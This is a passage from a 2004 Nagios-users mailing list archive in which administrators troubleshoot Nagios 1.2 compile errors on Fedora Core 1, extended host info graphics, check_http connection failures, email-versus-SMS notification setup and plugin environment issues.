`NSLOG_CONFIG_ERROR' undeclared (first use in this function) make[1]: *** [avail.cgi] Error 1 make[1]: Leaving directory `/home/tom/source/nagios-1.2/cgi' make: *** [all] Error 2 What OS in the RedHat family have people had 1.2 compiling on OK? thanks ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From abs-technik at gmx.de Tue Mar 9 11:15:09 2004 From: abs-technik at gmx.de (Andreas Gaul) Date: Tue, 9 Mar 2004 11:15:09 +0100 (MET) Subject: Trouble activating extended host info Message-ID: <21878.1078827309@www15.gmx.net> Hello, I have some troble activating the extended host information and -graphics. This is what i've already done: cgi.cgf: xedtemplate_config_file=/etc/nagios/hostextinfo.cfg hostextinfo.cfg: define hostextinfo{ host_name PC1 icon_image pc.gif icon_image_alt pc.gif statusmap_image pc.gif vrml_image pc.png 3d_coords 50.0,40.0,75.0 statusmap_image nagios.gd2 } I have check the images, they reside in /usr/local/nagios/share/images/logos and are accessible when i call them via Browser (http://nagios/images/logos/pc.gif). Unfortunately, i don't see any changes in the Frontend after reload or restart. What i can i do else to acitvate the customized graphcs ? Thanks, Andreas -- +++ NEU bei GMX und erstmalig in Deutschland: T?V-gepr?fter Virenschutz +++ 100% Virenerkennung nach Wildlist. Infos: http://www.gmx.net/virenschutz ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From c.r.b at btinternet.com Tue Mar 9 12:10:57 2004 From: c.r.b at btinternet.com (Carl) Date: Tue, 9 Mar 2004 11:10:57 -0000 Subject: Trouble activating extended host info In-Reply-To: <21878.1078827309@www15.gmx.net> References: <21878.1078827309@www15.gmx.net> Message-ID: <000001c405c7$329bf950$293c0f0a@kendle.com> I think you will need to put in the 2d cords -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Andreas Gaul Sent: 09 March 2004 10:15 To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Trouble activating extended host info Hello, I have some troble activating the extended host information and -graphics. This is what i've already done: cgi.cgf: xedtemplate_config_file=/etc/nagios/hostextinfo.cfg hostextinfo.cfg: define hostextinfo{ host_name PC1 icon_image pc.gif icon_image_alt pc.gif statusmap_image pc.gif vrml_image pc.png 3d_coords 50.0,40.0,75.0 statusmap_image nagios.gd2 } I have check the images, they reside in /usr/local/nagios/share/images/logos and are accessible when i call them via Browser (http://nagios/images/logos/pc.gif). Unfortunately, i don't see any changes in the Frontend after reload or restart. What i can i do else to acitvate the customized graphcs ? Thanks, Andreas -- +++ NEU bei GMX und erstmalig in Deutschland: T?V-gepr?fter Virenschutz +++ 100% Virenerkennung nach Wildlist. Infos: http://www.gmx.net/virenschutz ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From bt at diamos.de Tue Mar 9 12:14:04 2004 From: bt at diamos.de (Bjoern Teipel) Date: Tue, 09 Mar 2004 12:14:04 +0100 Subject: Mysql Backend Message-ID: <404DA6FC.9010905@diamos.de> Hi all, is there a way to tell Nagios that it shouln`t replace the data for services in the Mysql table serviceretention and append them instead. My goal is to get usefull statistics which can be analyzed with PHP scripts as example ? Thanks. Bj?rn -- Bj?rn Teipel Systemadministration DIAMOS AG * Sulzbach/Taunus Mail : bt at diamos.de www : http://www.diamos.de ca : http://www.diamos.de/CA Phone: +49(0)6196/6506-151 -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/x-pkcs7-signature Size: 3480 bytes Desc: S/MIME Cryptographic Signature URL: From prabhu.anandh at wipro.com Tue Mar 9 12:49:35 2004 From: prabhu.anandh at wipro.com (prabhu.anandh at wipro.com) Date: Tue, 9 Mar 2004 17:19:35 +0530 Subject: check_http not working---doubt Message-ID: <07BBBE93ECD30547BC93005AF54E2557F2E5D5@blr-sjp-msg.wipro.com> Hi folks, If I specify the port as 8080,it is working fine.why this strange behaviour.since by default it is 80,I left it as it.I am not able to check_http to another machine whose IP is 10.116.21.20 but able to ping to that machine.what shall I do to make it work for another machine.. Output: ./check_http -I 10.116.20.5 -p 8080 <-------20.5 is where the nagios runs. OK - HTTP/1.1 302 Moved Temporarily - 0.240 second response time |time=240462us;;;0 size=181B;;;0 Thanks in advance. regards, Prabhu Anandh S. -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Prabhu Anandh (WT01 - TELECOM & INTER-NETWORKING SOLUTIONS) Sent: Tuesday, March 09, 2004 10:43 AM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] check_http not working Hi folks, I have typed these in command line and I get the following error. # ./check_http -I 10.116.20.5 -p 80 Connection refused Unable to open TCP socket Do I have to specify any other thing in the command .where can I find the details regarding the working of nagios plugins.i even didn't find in the plugins folder. Thanks in advance. Prabhu Anandh ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From abs-technik at gmx.de Tue Mar 9 12:55:50 2004 From: abs-technik at gmx.de (Andreas Gaul) Date: Tue, 9 Mar 2004 12:55:50 +0100 (MET) Subject: (no subject) Message-ID: <15523.1078833350@www15.gmx.net> ...with no effect. What else ? I double-check the rights of the picture path; it's owned by nagios and my apache has acces... I still see the "unknown" graphic in the map. It seems, that Nagios ignors my settings... BTW, i use Nagios 1.2, Suse Linux 9 > -----Original Message----- > From: Carl [mailto:c.r.b at btinternet.com] > Sent: Tuesday, March 09, 2004 12:11 PM > To: 'Andreas Gaul'; nagios-users at lists.sourceforge.net > Subject: RE: [Nagios-users] Trouble activating extended host info > > I think you will need to put in the 2d cords > > > -----Original Message----- > From: nagios-users-admin at lists.sourceforge.net > [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Andreas > Gaul > Sent: 09 March 2004 10:15 > To: nagios-users at lists.sourceforge.net > Subject: [Nagios-users] Trouble activating extended host info > > Hello, > > I have some troble activating the extended host information and > -graphics. > This is what i've already done: > > cgi.cgf: > xedtemplate_config_file=/etc/nagios/hostextinfo.cfg > > hostextinfo.cfg: > define hostextinfo{ > host_name PC1 > icon_image pc.gif > icon_image_alt pc.gif > statusmap_image pc.gif > vrml_image pc.png > 3d_coords 50.0,40.0,75.0 > statusmap_image nagios.gd2 > } > > I have check the images, they reside in > /usr/local/nagios/share/images/logos > and are accessible when i call them via Browser > (http://nagios/images/logos/pc.gif). > > Unfortunately, i don't see any changes in the Frontend after reload or > restart. > What i can i do else to acitvate the customized graphcs ? > > Thanks, > > Andreas > > -- > +++ NEU bei GMX und erstmalig in Deutschland: T?V-gepr?fter > Virenschutz > +++ > 100% Virenerkennung nach Wildlist. Infos: > http://www.gmx.net/virenschutz > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > > > > -- +++ NEU bei GMX und erstmalig in Deutschland: T?V-gepr?fter Virenschutz +++ 100% Virenerkennung nach Wildlist. Infos: http://www.gmx.net/virenschutz ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rmo-nagios at eurotux.com Tue Mar 9 13:01:09 2004 From: rmo-nagios at eurotux.com (Ricardo Manuel Oliveira) Date: Tue, 09 Mar 2004 12:01:09 +0000 Subject: 2-way notification Message-ID: <1078833669.22118.50.camel@linus> Hi, I'm trying to configure nagios to send notifications differently, according to the contacts they're being sent to. The setup is simple - most notifications go out by email, so we're happy to be spammed (max_checks is low). We've added a sms gateway to send some notifications via SMS, but we'd rather receive only the first HOST DOWN and the HOST UP notifications via SMS. I'm having a bit of trouble configuring different notification options, since I can't seem to configure these in the contact/contactgroups definitions (these are defined on a host/service basis). Ideas, anyone? Thanks, Ricardo Oliveira ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mseisdedos at mediafusion.es Tue Mar 9 13:23:08 2004 From: mseisdedos at mediafusion.es (montse) Date: Tue, 9 Mar 2004 13:23:08 +0100 Subject: 2-way notification In-Reply-To: <1078833669.22118.50.camel@linus> References: <1078833669.22118.50.camel@linus> Message-ID: <003201c405d1$47d2fd50$520101c0@mesa.local> You have to define in the contacs.cfg 1)only_mail-> service_notification_commands service-notify-by-email 2)only_sms-> service_notification_commands service-notify-by-sms 3)only_mail-> service_notification_commands service-notify-by-email 4)only_sms-> service_notification_commands service-notify-by-sms ... ... then in de contactgroup.cfg 1) Mail -> only_mail1, only_mail2..... 2) SMS -> only_sms1, only_sms2.... in the services.cfg 1) contacts_group Mail 2) contacts_group SMS > -----Mensaje original----- > De: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users- > admin at lists.sourceforge.net] En nombre de Ricardo Manuel Oliveira > Enviado el: martes, 09 de marzo de 2004 13:01 > Para: nagios-users at lists.sourceforge.net > Asunto: [Nagios-users] 2-way notification > > Hi, > > I'm trying to configure nagios to send notifications differently, > according to the contacts they're being sent to. The setup is simple - > most notifications go out by email, so we're happy to be spammed > (max_checks is low). > > We've added a sms gateway to send some notifications via SMS, but we'd > rather receive only the first HOST DOWN and the HOST UP notifications > via SMS. I'm having a bit of trouble configuring different notification > options, since I can't seem to configure these in the > contact/contactgroups definitions (these are defined on a host/service > basis). > > Ideas, anyone? > > Thanks, > Ricardo Oliveira > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Tue Mar 9 13:42:33 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Tue, 9 Mar 2004 07:42:33 -0500 Subject: check_http not working In-Reply-To: <07BBBE93ECD30547BC93005AF54E2557F2E392@blr-sjp-msg.wipro.com> References: <07BBBE93ECD30547BC93005AF54E2557F2E392@blr-sjp-msg.wipro.com> Message-ID: <20040309074233.52ab2b8b.karl@debisschop.net> On Tue, 9 Mar 2004 10:42:48 +0530 prabhu.anandh at wipro.com wrote: > Hi folks, > I have typed these in command line and I get the following error. > > # ./check_http -I 10.116.20.5 -p 80 > Connection refused > Unable to open TCP socket > > Do I have to specify any other thing in the command .where can I find > the details regarding the working of nagios plugins.i even didn't find > in the plugins folder. check_http --help -- Karl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From tom.brown at goodtechnology.com Tue Mar 9 14:17:22 2004 From: tom.brown at goodtechnology.com (Tom Brown) Date: Tue, 9 Mar 2004 13:17:22 -0000 Subject: Nagios 1.2 - What OS Message-ID: <1ac301c405d8$db877920$0401a8c0@tomspc> Hi, As i seem to be having so many problems with Nagios and Fedora Core 1 can i please ask what RedHat based OS would be 'best' to run Nagios on? It just does not seem to like being compiled on Fedora. thanks for any feedback ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From massimo.bandinelli at register.it Tue Mar 9 14:38:45 2004 From: massimo.bandinelli at register.it (Massimo Bandinelli) Date: Tue, 9 Mar 2004 14:38:45 +0100 Subject: Nagios 1.2 - What OS Message-ID: Slackware Linux works really fine! -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Tom Brown Sent: Tuesday, March 09, 2004 2:17 PM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Nagios 1.2 - What OS Hi, As i seem to be having so many problems with Nagios and Fedora Core 1 can i please ask what RedHat based OS would be 'best' to run Nagios on? It just does not seem to like being compiled on Fedora. thanks for any feedback ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From wickus.botha at za.tiscali.com Tue Mar 9 14:38:29 2004 From: wickus.botha at za.tiscali.com (Wickus Botha) Date: Tue, 09 Mar 2004 15:38:29 +0200 Subject: Fedora Core 1 - Nagios 1.2 - Make error In-Reply-To: <190b01c405ba$fd303f30$0401a8c0@tomspc> References: <190b01c405ba$fd303f30$0401a8c0@tomspc> Message-ID: <45692.1589015566$1078840178@news.gmane.org> Hi Tom I'm currently running nagios with 500+ hosts and 2200+ services with nagios 1.2 without any compile problems. However i took a clean copy of 1.2 and use your configure command after it was finished i did a make all as well. Exact same error. I took this option out --enable-DEBUG1 and did the whole process again. It compiled fine without the --enable-DEBUG1 option. Maybe some of the programmers can tell u more Wickus On Tue, 2004-03-09 at 11:43, Tom Brown wrote: > Hi, > > Has anyone compiled Nagios-1.2 and got it running on Fedora Core 1? > > I get the compile to run OK using > > ./configure --prefix=/opt/nagios-1.2 --with-nagios-user=nagios --with-nagios > -grp=nagios --with-mail=/bin/mail --with-command-user=nagios --with-command- > grp=nagios --with-init-dir=/etc/rc.d/init.d --with-lockfile=/opt/nagios-1.2/ > var/nagios.lock --with-gd-lib=/opt/gd/lib --with-gd-inc=/opt/gd/include --wi > th-cgiurl=/nagios/cgi-bin --with-htmurl=/nagios --enable-DEBUG1 --enable-emb > edded-perl --with-perlcache > > however when i 'make all' it bombs with > > make[1]: Entering directory `/home/tom/source/nagios-1.2/cgi' > gcc -g -O2 -I/opt/gd/include -D_REENTRANT -D_GNU_SOURCE -DTHREADS_HAVE_PIDS > -DDEBUGGING -fno-strict-aliasing -I/usr/local/include -D_LARGEFILE_SOURCE - > D_FILE_OFFSET_BITS=64 -I/usr/include/gdbm -I/usr/lib/perl5/5.8.3/i386-linux > -thread-multi/CORE -DHAVE_CONFIG_H -DNSCGI -L/opt/gd/lib avail.c getcgi.o > cgiutils.o auth.o popen.o ../common/objects.c ../xdata/xodtemplate.c > ../common/statusdata.c ../xdata/xsddefault.c -o avail.cgi > ../xdata/xodtemplate.c: In function `xodtemplate_add_object_property': > ../xdata/xodtemplate.c:1344: error: `temp_buffer' undeclared (first use in > this function) > ../xdata/xodtemplate.c:1344: error: (Each undeclared identifier is reported > only once > ../xdata/xodtemplate.c:1344: error: for each function it appears in.) > ../xdata/xodtemplate.c:1346: error: `NSLOG_CONFIG_ERROR' undeclared (first > use in this function) > make[1]: *** [avail.cgi] Error 1 > make[1]: Leaving directory `/home/tom/source/nagios-1.2/cgi' > make: *** [all] Error 2 > > What OS in the RedHat family have people had 1.2 compiling on OK? > > thanks > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From proftp_cj at kdd.de Tue Mar 9 14:57:58 2004 From: proftp_cj at kdd.de (christian janssen) Date: Tue, 09 Mar 2004 13:57:58 +0000 Subject: Nagios 1.2 - What OS In-Reply-To: <1ac301c405d8$db877920$0401a8c0@tomspc> References: <1ac301c405d8$db877920$0401a8c0@tomspc> Message-ID: <6.0.3.0.2.20040309135333.0277f6b0@195.82.63.16> At 13:17 09.03.2004, Tom Brown wrote: >As i seem to be having so many problems with Nagios and Fedora Core 1 can i >please ask what RedHat based OS would be 'best' to run Nagios on? >It just does not seem to like being compiled on Fedora. Hi Tom, My preferred RedHat is still RH7.3 for [non public, because no security bugfixes anymore] Servers. => I have Nagios running at RedHat 7.3 [& Debian "Sarge"] cheers Christian ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From markus at markus.org Tue Mar 9 15:35:56 2004 From: markus at markus.org (Markus Baertschi) Date: Tue, 09 Mar 2004 15:35:56 +0100 Subject: How to debug plugin getting into UNKNOWN state In-Reply-To: <20040309002629.21953.qmail@minnow.softflare.net> References: <404C7395.7080606@markus.org> <20040308140411.24952.qmail@minnow.softflare.net> <404CBB7A.6010207@markus.org> <20040309002629.21953.qmail@minnow.softflare.net> Message-ID: <404DD64C.7040007@markus.org> Paul L. Allen wrote: > As far as I know, you can't get more debugging info from Nagios. All > it can tell you is what the plugin reports. You can, with some plugins, > use -v to get more info from the plugin, but unless the extra info is > all on one line (it almost never is) then you'll only see the first line > logged. > >> The plugin works very well when used from the commandline (as nagios >> user). > > > Yes, but you don't run it from the command line as often as Nagios > runs it. So if the problem only shows up intermittently, you may never > see it from the command line. I still believe that you need to show us > your plugin if you want us to help you. The problem could be DNS > timeouts, or intermittent connectivity problems, or a bug in your code. > We can't check if you get occasional DNS timeouts or intermittent > connectivity problems but we can examine your code. I found the problem by adding some debugging and logging code to the plugin (writing to a separate file). The main problem was that the running nagios and the user nagios did not have the same environment (.profile is not executed when starting nagios) and this fooled me. Markus -- Markus Baertschi Phone: ++41 (21) 807 1677 Bas du Ross? 14b Fax : ++41 (21) 807 1678 CH-1163, Etoy Email: markus at markus.org Switzerland Homepage: www.markus.org ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From psimek at jcu.cz Tue Mar 9 15:58:14 2004 From: psimek at jcu.cz (Petr Simek) Date: Tue, 9 Mar 2004 15:58:14 +0100 (=?iso-8859-2?Q?St=F8edn=ED_Evropa_=28b=EC=9En=FD_=E8as=29?=) Subject: Nagios 1.2 - What OS In-Reply-To: <1ac301c405d8$db877920$0401a8c0@tomspc> References: <1ac301c405d8$db877920$0401a8c0@tomspc> Message-ID: On Tue, 9 Mar 2004, Tom Brown wrote: > Hi, > > As i seem to be having so many problems with Nagios and Fedora Core 1 can i > please ask what RedHat based OS would be 'best' to run Nagios on? > It just does not seem to like being compiled on Fedora. You can try packages from DAG at http://dag.wieers.com/packages/ *------------------------------------------------------------------------* | Petr Simek APS JU | | psimek at jcu.cz | *------------------------------------------------------------------------* ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From krcalhoo at mtu.edu Tue Mar 9 16:06:21 2004 From: krcalhoo at mtu.edu (kevin) Date: Tue, 09 Mar 2004 10:06:21 -0500 Subject: Where does 2.x work? In-Reply-To: <87llma3mx4.wl@badger.wordzoo.com> References: <87llma3mx4.wl@badger.wordzoo.com> Message-ID: <404DDD6D.90305@mtu.edu> Jared Rhine wrote: > In a recent email, I outlined a problem where Nagios 2.0a1 doesn't > create status.dat on startup. Another person confirmed that problem, > on a different OS even. This is a pretty fundamental issue, so it's > kind of a head-scratcher. Does anyone have 2.0a1 working on their > machine, and if so, what OS are you running? > > -- jared at wordzoo.com I have been running nagios2.0a1 on Red Hat Linux release 9 (Shrike) (from status.dat created=1078844028). It has been running fine for the past week. The status.dat appears to be created correctly. I still have an embedded-perl memory leak, but it could be my script. I used these options to configure it. ./configure --prefix=/dcs/local/nagios/nagios-2.0/ --with-nagios-group=nagiocmd --with-init-dir=/dcs/local/init.d/ --with-cgiurl=/nagioscisco/cgi-bin --with-htmurl=/nagioscisco --enable-embedded-perl --with-perlcache -rw-rw-r-- 1 nagios nagiocmd 240 Mar 3 16:39 comments.dat -rw-rw-r-- 1 nagios nagiocmd 241 Mar 3 16:39 downtime.dat -rw-r--r-- 1 nagios nagiocmd 5 Mar 9 04:03 nagios.lock -rw-rw-r-- 1 nagios nagiocmd 117723 Mar 9 08:42 nagios.log -rw-r--r-- 1 nagios nagiocmd 292978 Mar 9 04:03 objects.cache drwxrwsr-x 2 nagios nagiocmd 4096 Mar 9 04:03 rw -rw-rw-r-- 1 nagios nagiocmd 364236 Mar 9 09:41 status.dat Kevin Calhoon ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff.vier at tradingtechnologies.com Tue Mar 9 16:14:08 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Tue, 09 Mar 2004 09:14:08 -0600 Subject: Where does 2.x work? In-Reply-To: <87llma3mx4.wl@badger.wordzoo.com> References: <87llma3mx4.wl@badger.wordzoo.com> Message-ID: <1078845247.14436.0.camel@localhost> On Mon, 2004-03-08 at 18:05, Jared Rhine wrote: > In a recent email, I outlined a problem where Nagios 2.0a1 doesn't > create status.dat on startup. Another person confirmed that problem, > on a different OS even. This is a pretty fundamental issue, so it's > kind of a head-scratcher. Does anyone have 2.0a1 working on their > machine, and if so, what OS are you running? I run it without issue on RH9 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Tue Mar 9 16:23:00 2004 From: pla at softflare.com (Paul L. Allen) Date: Tue, 09 Mar 2004 15:23:00 +0000 Subject: How to debug plugin getting into UNKNOWN state In-Reply-To: <404DD64C.7040007@markus.org> References: <404C7395.7080606@markus.org> <20040308140411.24952.qmail@minnow.softflare.net> <404CBB7A.6010207@markus.org> <20040309002629.21953.qmail@minnow.softflare.net> <404DD64C.7040007@markus.org> Message-ID: <20040309152301.15125.qmail@minnow.softflare.net> Markus Baertschi writes: > I found the problem by adding some debugging and logging code to > the plugin (writing to a separate file). That's always a useful technique with perl. > The main problem was that the running nagios and the user nagios > did not have the same environment (.profile is not executed when > starting nagios) and this fooled me. Another gotch, if you use utils.pm (as you should), is that it wipes your environment clean so you can't rely on the normal PATH being there. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Andrew_Hoying at 